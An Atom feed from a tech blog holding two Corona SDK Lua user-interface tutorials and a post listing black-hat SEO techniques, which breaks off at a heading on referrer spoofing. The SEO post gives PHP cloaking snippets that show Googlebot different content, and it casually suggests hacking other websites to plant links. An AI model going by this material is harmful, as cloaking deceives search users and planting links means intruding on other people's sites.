<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" media="screen" href="/~d/styles/atom10full.xsl"?><?xml-stylesheet type="text/css" media="screen" href="http://feeds.feedburner.com/~d/styles/itemcontent.css"?><feed xmlns="http://www.w3.org/2005/Atom" xmlns:openSearch="http://a9.com/-/spec/opensearch/1.1/" xmlns:georss="http://www.georss.org/georss" xmlns:gd="http://schemas.google.com/g/2005" xmlns:thr="http://purl.org/syndication/thread/1.0" xmlns:feedburner="http://rssnamespace.org/feedburner/ext/1.0" gd:etag="W/&quot;DUEARH4zeip7ImA9WhRaEEg.&quot;"><id>tag:blogger.com,1999:blog-3644149452090630665</id><updated>2012-02-12T15:40:45.082+01:00</updated><category term="Smart Systems" /><category term="Geometric Modelling" /><category term="Internet" /><category term="Mathematics" /><category term="SEO" /><category term="GPU Computing" /><category term="Virtual Reality" /><category term="Linux" /><category term="SIGGRAPH 2009" /><category term="CUDA" /><category term="Software" /><category term="Hacking" /><category term="Parallel Computing" /><category term="Security" /><category term="Java" /><category term="Mobile Phones" /><category term="Tips and Tricks" /><category term="Google" /><category term="Programming" /><category term="Corona SDK" /><category term="Disclosure Policy" /><title>Think Techie</title><subtitle type="html">blog dedicated to tech tips, tricks, tutorials, guides, latest news, troubleshooting issues, web apps, internet tips and all that type.</subtitle><link rel="http://schemas.google.com/g/2005#feed" type="application/atom+xml" href="http://www.think-techie.com/feeds/posts/default" /><link rel="alternate" type="text/html" href="http://www.think-techie.com/" /><link rel="next" type="application/atom+xml" href="http://www.blogger.com/feeds/3644149452090630665/posts/default?start-index=26&amp;max-results=25&amp;redirect=false&amp;v=2" /><author><name>Bruno Simões</name><uri>https://profiles.google.com/110821408735197982407</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="32" src="//lh3.googleusercontent.com/-fyBL72qXHek/AAAAAAAAAAI/AAAAAAAALhM/hwxLIDUhRgg/s512-c/photo.jpg" /></author><generator version="7.00" uri="http://www.blogger.com">Blogger</generator><openSearch:totalResults>31</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>25</openSearch:itemsPerPage><atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="self" type="application/atom+xml" href="http://feeds.feedburner.com/ThinkTechie" /><feedburner:info uri="thinktechie" /><atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="hub" href="http://pubsubhubbub.appspot.com/" /><entry gd:etag="W/&quot;CU8GQn0zfip7ImA9WhdXEkU.&quot;"><id>tag:blogger.com,1999:blog-3644149452090630665.post-6078203493450785560</id><published>2011-08-23T15:19:00.006+02:00</published><updated>2011-08-25T16:50:23.386+02:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2011-08-25T16:50:23.386+02:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="Corona SDK" /><title>Corona SDK: Lua Floating Picker UI</title><content type="html">&lt;div style="text-align:justify"&gt;This post explains how to use the Picker UI implemented in &lt;a href="http://code.google.com/p/xui-sdk/"&gt;XUI SDK&lt;/a&gt;.&lt;br /&gt;
&lt;br /&gt;
&lt;center&gt;&lt;img src="http://xui-sdk.googlecode.com/svn/trunk/images/PickerUI.png" width = 90%&gt;&lt;/center&gt;&lt;br /&gt;
&lt;br /&gt;
In order to use this user interface, we need to import the Picker API: &lt;br /&gt;
&lt;pre class="c#" name="code"&gt;local picker = require(&amp;quot;Picker&amp;quot;)
local toolkit = require(&amp;quot;DateToolkit&amp;quot;)
&lt;/pre&gt;&lt;br /&gt;
Then we have to initialize the picker data:&lt;br /&gt;
&lt;pre class="c#" name="code"&gt;local data = {}
local dataDefts = {1, 1, 1}

-- Used for one wheel picker
local function setupOneWheels()
﻿  data[1] = {&amp;quot;Yes&amp;quot;, &amp;quot;No&amp;quot;, &amp;quot;Maybe Yes&amp;quot;, &amp;quot;Maybe No&amp;quot;, &amp;quot;Maybe&amp;quot;}
﻿  local dataDefts = {2}
end

-- Used for two wheels picker
local function setupTwoWheels()
﻿  data[1] = {}
﻿  data[2] = {}

﻿  for j = 1, 9 do 
﻿  ﻿  data[1][j] = &amp;quot;0&amp;quot; .. j 
﻿  end

﻿  data[2]= { 
﻿  ﻿  ﻿  &amp;quot;Jan&amp;quot;, &amp;quot;Feb&amp;quot;, &amp;quot;Mar&amp;quot;,
﻿  ﻿  ﻿  &amp;quot;Apr&amp;quot;, &amp;quot;May&amp;quot;, &amp;quot;Jun&amp;quot;,
﻿  ﻿  ﻿  &amp;quot;Jul&amp;quot;, &amp;quot;Aug&amp;quot;, &amp;quot;Sep&amp;quot;,
﻿  ﻿  ﻿  &amp;quot;Oct&amp;quot;, &amp;quot;Nov&amp;quot;, &amp;quot;Dec&amp;quot;
﻿  ﻿  }
end

-- Used for three wheels picker
local function setupDateWheels()
﻿  data[1] = {}
﻿  data[2] = {}
﻿  data[3] = {}

﻿  for j = 1, 9 do 
﻿  ﻿  data[1][j] = &amp;quot;0&amp;quot; .. j 
﻿  end

﻿  local i = 9
﻿  for j = 10, 31 do 
﻿  ﻿  data[1][i] = j
﻿  ﻿  i = i + 1
﻿  end

﻿  data[2]= { 
﻿  ﻿  ﻿  &amp;quot;Jan&amp;quot;, &amp;quot;Feb&amp;quot;, &amp;quot;Mar&amp;quot;,
﻿  ﻿  ﻿  &amp;quot;Apr&amp;quot;, &amp;quot;May&amp;quot;, &amp;quot;Jun&amp;quot;,
﻿  ﻿  ﻿  &amp;quot;Jul&amp;quot;, &amp;quot;Aug&amp;quot;, &amp;quot;Sep&amp;quot;,
﻿  ﻿  ﻿  &amp;quot;Oct&amp;quot;, &amp;quot;Nov&amp;quot;, &amp;quot;Dec&amp;quot;
﻿  ﻿  }

﻿  -- Year
﻿  local i = 1
﻿  local iYear = 2011
﻿  for j = iYear, 2020 do 
﻿  ﻿  data[3][i] = j
﻿  ﻿  i = i + 1
﻿  end

﻿  -- Setup today date
﻿  local yy, mm, dd =  toolkit.getCurrentDateYMD()
﻿  print((yy-iYear+1)..&amp;quot;,&amp;quot;..mm..&amp;quot;,&amp;quot;..dd)
﻿  dataDefts = {dd, mm, yy-iYear+1}
end
&lt;/pre&gt;&lt;br /&gt;
We setup the event listener, which is used to retrieve the selected value.&lt;br /&gt;
&lt;pre class="c#" name="code"&gt;local onRelease = function( event )
﻿  if #event.values == 3 then
﻿  ﻿  local pickerdate = event.values[3] .. 
                       &amp;quot; &amp;quot; .. event.values[2] ..
                       &amp;quot; &amp;quot; .. event.values[1]

  ﻿  print(toolkit.formatDate(pickerdate, 
                                  &amp;quot;yyyy/mm/dd&amp;quot;,
                                  &amp;quot;(%d+) (%a+) (%d+)&amp;quot;))

﻿  elseif #event.values &amp;gt; 0 then
﻿  ﻿  for j = 1, #event.values do
﻿  ﻿  ﻿  print(&amp;quot;Slot &amp;quot; .. j .. &amp;quot;: &amp;quot; .. event.values[1])
﻿  ﻿  end
﻿  end
﻿  print(&amp;quot;onReleaseCallback&amp;quot;)
end
&lt;/pre&gt;&lt;br /&gt;
We describe what to do when the user closes the picker.&lt;br /&gt;
&lt;pre class="c#" name="code"&gt;local onClose = function( event )
﻿  print (&amp;quot;onClose&amp;quot;)
end
&lt;/pre&gt;&lt;br /&gt;
And we initialize the Picker UI using the desired parameters&lt;br /&gt;
&lt;pre class="c#" name="code"&gt;--setupTwoWheels()
setupDateWheels()
--setupOneWheels()

picker.newPickerUI {

﻿  -- Optional. Default is center
﻿  --align = &amp;quot;floating&amp;quot;,

﻿  -- Optional. Used to handle multiple picker instances
﻿  uid = 1,
﻿  ﻿  
﻿  -- List of values for each selector
﻿  data = data,
﻿  
﻿  -- On release event. Find picked values in event.values
﻿  onRelease = onRelease,
﻿  
﻿  onClose = onClose,

﻿  -- Optional. Offset x
﻿  dx = 100,
﻿  
﻿  -- Optional. Offset y
﻿  dy = 100,

﻿  moveWheels = dataDefts,

﻿  -- Optional
﻿  contentWidth = display.contentWidth,
﻿  contentHeight = display.contentHeight,

﻿  withFadingBg = true

}
&lt;/pre&gt;&lt;br /&gt;
Now just enjoy it!&lt;br /&gt;
&lt;br /&gt;
&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3644149452090630665-6078203493450785560?l=www.think-techie.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/N1KBODi_rNKQ-54j6qfolz98Jqg/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/N1KBODi_rNKQ-54j6qfolz98Jqg/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/N1KBODi_rNKQ-54j6qfolz98Jqg/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/N1KBODi_rNKQ-54j6qfolz98Jqg/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;</content><link rel="replies" type="application/atom+xml" href="http://www.think-techie.com/feeds/6078203493450785560/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=3644149452090630665&amp;postID=6078203493450785560" title="1 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/3644149452090630665/posts/default/6078203493450785560?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/3644149452090630665/posts/default/6078203493450785560?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/ThinkTechie/~3/OiXA49ZNn58/corona-sdk-lua-floating-picker-ui.html" title="Corona SDK: Lua Floating Picker UI" /><author><name>Bruno Simões</name><uri>https://profiles.google.com/110821408735197982407</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="32" src="//lh3.googleusercontent.com/-fyBL72qXHek/AAAAAAAAAAI/AAAAAAAALhM/hwxLIDUhRgg/s512-c/photo.jpg" /></author><thr:total>1</thr:total><feedburner:origLink>http://www.think-techie.com/2011/08/corona-sdk-lua-floating-picker-ui.html</feedburner:origLink></entry><entry gd:etag="W/&quot;DkUESX45fCp7ImA9WhdXEkU.&quot;"><id>tag:blogger.com,1999:blog-3644149452090630665.post-8472622286523801461</id><published>2011-08-21T14:49:00.005+02:00</published><updated>2011-08-25T16:56:48.024+02:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2011-08-25T16:56:48.024+02:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="Corona SDK" /><title>Corona SDK: Lua Floating Keyboard</title><content type="html">&lt;div style="text-align: justify;"&gt;Corona SDK is a software development used to build mobile applications for the iPhone, iPad, and Android devices. The SDK ships with native keyboard support. However, the API isn't very flexible in some extreme cases. For example: &lt;br /&gt;
&lt;ol&gt;&lt;li&gt;Keyboard API works only for input fields&lt;/li&gt;
&lt;li&gt;You can’t place it at the position you want to&lt;/li&gt;
&lt;li&gt;You can’t enable or disable a subset of keys&lt;/li&gt;
&lt;li&gt;You can’t control keyboard animations &lt;/li&gt;
&lt;/ol&gt;Imagine you need to input a phone number. Why can't we initialize the keyboard with a pre-selected numeric layout, which has only the key set {2,3,5,7,+} activated ? Such approach would provide a glimpse about the input data expected, and support the user during the validation process.&lt;br /&gt;
&lt;br /&gt;
&lt;center&gt;&lt;img src="https://xui-sdk.googlecode.com/svn/trunk/images/KeyboardUI.png" width = 90%&gt;&lt;/center&gt;&lt;br /&gt;
The aim of this post is to introduce of a small API called &lt;a href="http://code.google.com/p/xui-sdk/"&gt;XUI SDK&lt;/a&gt;, which allows you to do all that. Besides that, the API works with all devices, including the Corona emulator.&lt;br /&gt;
&lt;h3&gt;How to use the Keyboard API&lt;/h3&gt;The first step required to use this API, is the instantialization of the display object with a method called &lt;b&gt;setText( value )&lt;/b&gt;. For example, &lt;br /&gt;
&lt;pre class="c#" name="code"&gt;local newLabel = require(&amp;quot;Widgets&amp;quot;).newLabel{ 
	text = &amp;quot;0000000000&amp;quot;, 
	size = 72, 
	font = native.systemFontBold,
	textColor = { 110,0,0,255 },
	align = &amp;quot;left&amp;quot;, 
	bounds = { 15,4,120,26 }
}
newLabel:setText( &amp;quot;Click Me!&amp;quot; )
newLabel:setTextColor(0,255,255)
&lt;/pre&gt;Now we add a touch listener to our newly created object, which will be used to invoke our keyboard UI. Inside, we define our keyboard properties. e.g. we define the parameter &lt;i&gt;enabledKeys&lt;/i&gt; if we need to enable only a small set of keys. Nothing more is required.&lt;br /&gt;
&lt;pre class="c#" name="code"&gt;newLabel.touch = function(event) 
	print(&amp;quot;Label touch - Show me the keyboard!&amp;quot;)

	local keys = {}
	keys[&amp;quot;2&amp;quot;] = true
	keys[&amp;quot;3&amp;quot;] = true
	keys[&amp;quot;5&amp;quot;] = true
	keys[&amp;quot;7&amp;quot;] = true
	keys[&amp;quot; &amp;quot;] = true
	keys[&amp;quot;X&amp;quot;] = true

	keyboard.newKeyboard { 
		-- Required. Object with &amp;#39;setText( value )&amp;#39; or
		-- &amp;#39;text&amp;#39; properties and text size &amp;#39;size&amp;#39;
		inputField = newLabel,

		-- Optional. Use this to override the label value
		-- You can use this to erase
		defaultValue = newLabel.text, 

		-- Optional. Cursor color
		useCursorColor = {100, 100, 100},

		-- Optional. Hide cursor
		hideCursor = false,

		-- Optional. Key press sound
		disableSoundOnHit = false,

		-- Optional. Start with CapsLock enabled
		enableCapsLock = true,

		-- Optional. Enable only a few keys
		enabledKeys = keys,

		-- Optional. Select layout, default is 1. 
		-- 1-ABC, 2-123, 3-Symb
		useLayout = 2,

		-- Landscape orientation or not. 
		-- Default: portrait
		isLandscapeOrientation = true,

		-- Optional. Keyboard position. 
		displayOnTop = false
	}
end
newLabel:addEventListener( &amp;quot;touch&amp;quot;, newLabel )
&lt;/pre&gt;Optionally, we can add other event listeners. The following event listener is invoked only if the key “Return” or “Hide” is pressed. You can use it to validate or perform some additional actions.&lt;br /&gt;
&lt;pre class="c#" name="code"&gt;local onKeyboardSubmit = function( event )
     print( &amp;quot;Oh Yeahh! Keyboard is GONE!&amp;quot;)
     -- e.g. Here you can call some method 
     -- to process your input
end
Runtime:addEventListener(&amp;quot;onKeyboardSubmit&amp;quot;,
                                  onKeyboardSubmit)
&lt;/pre&gt;You can also add a key listener as follows:&lt;br /&gt;
&lt;pre class="c#" name="code"&gt;local onKeyRelease = function( event )
	if event.value then
		print( &amp;quot;Oh Yeahh! Give me more &amp;quot; ..
				tostring(event.value) .. &amp;quot;&amp;#39;s&amp;quot;)
	end
    -- e.g. Here you can re-adjust 
    -- the size of your text cell
end
Runtime:addEventListener(&amp;quot;onKeyboardKeyRelease&amp;quot;,
                                         onKeyRelease)
&lt;/pre&gt;This listener will notify you about every key pressed.&lt;br /&gt;
&lt;br /&gt;
&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3644149452090630665-8472622286523801461?l=www.think-techie.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/CAy_4_VmSv-xvWei_IJOcuBsipg/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/CAy_4_VmSv-xvWei_IJOcuBsipg/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/CAy_4_VmSv-xvWei_IJOcuBsipg/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/CAy_4_VmSv-xvWei_IJOcuBsipg/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;</content><link rel="replies" type="application/atom+xml" href="http://www.think-techie.com/feeds/8472622286523801461/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=3644149452090630665&amp;postID=8472622286523801461" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/3644149452090630665/posts/default/8472622286523801461?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/3644149452090630665/posts/default/8472622286523801461?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/ThinkTechie/~3/YTEZPduMnDY/corona-sdk-lua-floating-keyboard.html" title="Corona SDK: Lua Floating Keyboard" /><author><name>Bruno Simões</name><uri>https://profiles.google.com/110821408735197982407</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="32" src="//lh3.googleusercontent.com/-fyBL72qXHek/AAAAAAAAAAI/AAAAAAAALhM/hwxLIDUhRgg/s512-c/photo.jpg" /></author><thr:total>0</thr:total><feedburner:origLink>http://www.think-techie.com/2011/08/corona-sdk-lua-floating-keyboard.html</feedburner:origLink></entry><entry gd:etag="W/&quot;CkIERX44eyp7ImA9WhRUGEg.&quot;"><id>tag:blogger.com,1999:blog-3644149452090630665.post-2558104137762742367</id><published>2011-07-22T10:00:00.000+02:00</published><updated>2012-01-29T16:21:44.033+01:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2012-01-29T16:21:44.033+01:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="SEO" /><category scheme="http://www.blogger.com/atom/ns#" term="Internet" /><title>HTTP Spoofing and Cloaking - Black Hat SEO</title><content type="html">&lt;div dir="ltr" style="text-align: justify;" trbidi="on"&gt;&lt;h2&gt;Introduction&lt;/h2&gt;As mentioned previously in this &lt;a href="http://www.think-techie.com/2011/05/get-free-web-traffic-using-white-hat.html" rel="nofollow"&gt;post&lt;/a&gt;, Search Engine Optimization (SEO) is the process of improving your Web site so it appears higher in the organic, natural, unpaid results of search engines. The varying techniques used for SEO can be lumped into two main categories: White Hat SEO and Black Hat SEO.&lt;br /&gt;
&lt;br /&gt;
Both practices share the same goal of bringing a website to the highest possible organic position. However, as their names suggest, White Hat SEO techniques are safe, reliable, and accepted by Search engines. While Black Hat SEO techniques use methods such as link farms, keyword stuffing and article spinning that degrade the relevance of search. Search engines look for sites that employ these techniques in order to remove them from their indices.&lt;br /&gt;
&lt;br /&gt;
If you hire a company who uses Black Hat SEO techniques, then it’s very possible you will get banned from Google. For anyone whose interested, here it is a list of techniques I retrieved from [2]:&lt;br /&gt;
&lt;ol style="margin-left:-32px"&gt;&lt;li&gt;&lt;b&gt;Hidden text&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
A hidden text is the textual content in web pages which the visitors cannot see but is still readable by the search engines. The main purpose of the hidden text is to load a Web page with keywords and the keyword phrases that would be invisible to visitors but help in improving the page's rankings in the search engine results. Hidden text is considered as search spam by each of the major search engines, since it presents information to search engines differently than to visitors.&lt;br /&gt;
&lt;br /&gt;
Text can be hidden in numerous ways, including:&lt;br /&gt;
&lt;ul&gt;&lt;li&gt;Using white color font text on a white background&lt;/li&gt;
&lt;li&gt;Text behind an image&lt;/li&gt;
&lt;li&gt;Using CSS to hide text using CSS, which is naturally used to hide large portions of text in layers for usability reasons. Example: CSS pagination.&lt;/li&gt;
&lt;li&gt;Reducing the font size to 0&lt;/li&gt;
&lt;/ul&gt;&lt;br /&gt;
&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Throw Away Domains&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
Throwaway domains" are domains created to redirect traffic to other, more long lived domains. They are designed to be used only a few days and then discarded by the time spam filters begin to recognize them. The trick consists in the creation of exact match micro sites for short term popular keywords. Something like wikipediahotelsrehab.com&lt;br /&gt;
&lt;br /&gt;
&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Donation links&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
Donate for charity, software developers etc. Many of them display links to those who donate.&lt;br /&gt;
&lt;br /&gt;
&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Keyword stuffing&lt;/b&gt; &lt;br /&gt;
&lt;br /&gt;
Tags and folksonomy. Keyword stuff but adding several tags or let your users do the dirty work via UGC tagging (folksonomy) every major social site does that.&lt;br /&gt;
&lt;br /&gt;
&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Automatically generated keyword pages&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
Some shopping search engines create pages from each Google search query and assign the appropriate products to each query. You can do that as well if you have enough content.&lt;br /&gt;
&lt;br /&gt;
&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Misspellings&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
When choosing your keywords you most likely use the correct spelling so your website looks more professional. But did you know misspelling keywords on purpose can also help with your SEO campaign?&lt;br /&gt;
&lt;br /&gt;
Try different misspellings on Google AdWords Keyword Tool, and see which are searched just as much as the real spelling. For example, the word &amp;#8220;jewellery&amp;#8221; is a hard one to remember, and search volumes prove this. By searching &amp;#8220;Jewellry&amp;#8221;, you will find the search volume is just as big as it is for the correct spelling. Optionally, you can redirect to the correct version.&lt;br /&gt;
&lt;br /&gt;
&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Scraping&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
Create mirrors for popular sites. Offer them to the respective webmasters. Most will be glad to pay less.&lt;br /&gt;
&lt;br /&gt;
&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Ad only pages&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
Create all page ads (interstitials) and show them before users see content like many old media do.&lt;br /&gt;
&lt;br /&gt;
&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Blog spam&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
Don’t spam yourself! Create posts about very profitable keywords and let spammers do your job. Then all you need to do is to keep comments containing your keyword and remove all the outgoing links. Bot user generated content so to say.&lt;br /&gt;
&lt;br /&gt;
&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Duplicate content on multiple domains&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
Offer your content under a creative Commons License with attribution.&lt;br /&gt;
&lt;br /&gt;
&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Domain grabbing&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
Buy old authority domains that failed and revive them instead of putting them on sale.&lt;br /&gt;
&lt;br /&gt;
&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Fake news&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
Create real news on official looking sites for real events. You can even do it in print. Works great for all kinds of activism related topics.&lt;br /&gt;
&lt;br /&gt;
&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Link farm&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
Create a legit blog network of flagship blogs. A full time pro blogger can manage 3 to 5 high quality blogs by her or himself.&lt;br /&gt;
&lt;br /&gt;
&lt;/li&gt;
&lt;li&gt;&lt;b&gt;New exploits&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
Find them and report them, blog about them. You break story and thus you get all the attention and links. &lt;br /&gt;
&lt;br /&gt;
&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Brand jacking&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
Write a bad review for a brand that has disappointed you or or set up a brand X sucks page and let consumers voice their concerns.&lt;br /&gt;
&lt;br /&gt;
&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Rogue bots&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
Spider websites and make their webmasters aware of broken links and other issues. Some people may be thankful enough to link to you.&lt;br /&gt;
&lt;br /&gt;
&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Hidden affiliate links&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
In fact hiding affiliate links is good for usability and can be even more ethical than showing them. example.com/ref?id=87233683 is far worse than than just example.com. Also unsuspecting Web users will copy your ad to forums etc. which might break their TOS. The only thing you have to do is disclose the affiliate as such. I prefer to use [ad] (on Twitter for example) or [partner-link] elsewhere. This way you can strip the annoying “ref” ids and achieve full disclosure at the same time.&lt;br /&gt;
&lt;br /&gt;
&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Doorway pages&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
Effectively doorway pages could also be called landing pages. The only difference is that doorway pages are worthless crap while landing pages are streamlined to suffice on their own. Common for both is that they are highly optimized for organic search traffic. So instead of making your doorway pages just a place to get skipped optimize them as landing pages and make the users convert right there.&lt;br /&gt;
&lt;br /&gt;
&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Multiple subdomains&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
Multiple subdomains for one domain can serve an ethical purpose. Just think blogspot.com or wordpress.com – they create multiple subdomains by UGC. This way they can rank several times for a query. You can offer subdomains to your users as well.&lt;br /&gt;
&lt;br /&gt;
&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Social media automation&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
There is nothing wrong with posts automation in Twitter, Facebook or any other social media service, as long as you don’t overdo it. Scheduling and repeating posts is perfectly OK if there is a real person attending that also produces content. Bot accounts can be ethical as well in case they are useful no only for yourself. A bot collecting news about Haiti in the aftermath of the earthquake would be perfectly legit if you ask me.&lt;br /&gt;
&lt;br /&gt;
&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Deceptive headlines&lt;/b&gt; &lt;br /&gt;
&lt;br /&gt;
Tabloids use them all the time, black hat SEO also do. There are ethical use cases for deceptive headlines though. Satire is one of course and humor simply as well. For instance I could end this list with 24 items and declare this post to a list of 300 items anyways. That would be a good laugh. I’ve done that in the past but in a more humorous post.&lt;br /&gt;
&lt;br /&gt;
&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Google Bowling&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
This practice began when Google started penalizing sites that get lots of incoming links in a very short period. Unscrupulous webmasters realized that this could be used against competitor sites by linking to them instead of their own site. Google claim they have measures in place to prevent this practice from unfairly damaging a site's PageRank. Howerver this is clearly not true.&lt;br /&gt;
&lt;br /&gt;
&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Invisible links&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
We all use them! Most free web counters and statistic tools use them. So when you embed them on your site you use invisible links.&lt;br /&gt;
&lt;br /&gt;
&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Different content for search engines than users&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
Do you use WordPress? Then you have the nofollow attribute added to your comment links. this way the search engine gets different content than the user. We can see it and click on it but for a search bot it'is a no trespass sign. In white hat SEO it’s often called PageRank sculpting. Most social media add ons do that by default.&lt;br /&gt;
&lt;br /&gt;
&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Hacking sites&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
You can always hack a website and add a few links to some old post. If you are smart enough, then no one will ever notice it.&lt;br /&gt;
&lt;br /&gt;
&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Slander linkbait&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
Pulling a Calacanis like “SEO is bullshit” is quite common these days. Why don’t do it the other way around? The anti SEO thing doesn’t work that good anymore unless you are as famous as Robert Scoble. In contrast a post dealing with “100 Reasons to Love SEO Experts” might strike a chord by now.&lt;br /&gt;
&lt;br /&gt;
&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Map spam&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
Instead of faking multiple addresses all over the place just to appear on Google Maps and Local why don’t you simply create an affiliate network of real life small business owners with shops and offices who, for a small amount of money, are your representatives there? All they need to do is to collect your mail from Google and potential clients.&lt;br /&gt;
&lt;br /&gt;
&lt;/li&gt;
&lt;li&gt;&lt;b&gt;301 redirects&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
Redirect outdated pages to the newer versions or your homepage. When moving to a new domain use them of course as well.&lt;br /&gt;
&lt;br /&gt;
&lt;/li&gt;
&lt;li&gt;&lt;b&gt;HTTP Cloaking&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
Cloaking Involves using the IP address (also called IP delivery) or features of the HTTP request (e.g. the User-Agent field) in order to identify and deliver unique content to a specific IP or User-agent. IP delivery is usually employed to offer the proper localized content to those coming from a country specific IP address.&lt;br /&gt;
&lt;br /&gt;
A basic example (that does't include location check) is:&lt;br /&gt;
&lt;pre class="c#" name="code"&gt;&amp;lt;?php
  $ips = array('1.1.1.1', '2.2.2.2'); // list of IPs
  if (in_array($ip, $ips)){
    header(”HTTP/1.1 301 Moved Permanently”);
    header(”location: http://www.site-two.com”);
    exit;
  }
  else {
    header(’Content-Type: text/html; charset=utf-8.′);
    // Show site one here
  };
?&amp;gt;
&lt;/pre&gt;User-agent Cloaking is another method for delivering different sets of content to different users or spiders. &lt;br /&gt;
&lt;pre class="c#" name="code"&gt;&amp;lt;?php
  if (strstr($_SERVER[&amp;#39;HTTP_USER_AGENT&amp;#39;], “Googlebot”)) {
    header(”HTTP/1.1 301 Moved Permanently”);
    header(”location: http://www.site-two.com”);
    exit;
  }
  else {
    header(’Content-Type: text/html; charset=utf-8.′);
    // Show site one here
  };
?&amp;gt;
&lt;/pre&gt;Note that by using cloaking you can hide the heavy Flash animations from Google, showing the text-only version optimized for accessibility and findability.&lt;br /&gt;
&lt;/li&gt;
&lt;/ol&gt;&lt;br /&gt;
Now that we learned about the most basic Black SEO techniques, let's move on to a slightly different topic: HTTP Spoofing techniques.&lt;br /&gt;
&lt;br /&gt;
&lt;h2&gt;Referrer spoofing techniques&lt;/h2&gt;&lt;br /&gt;
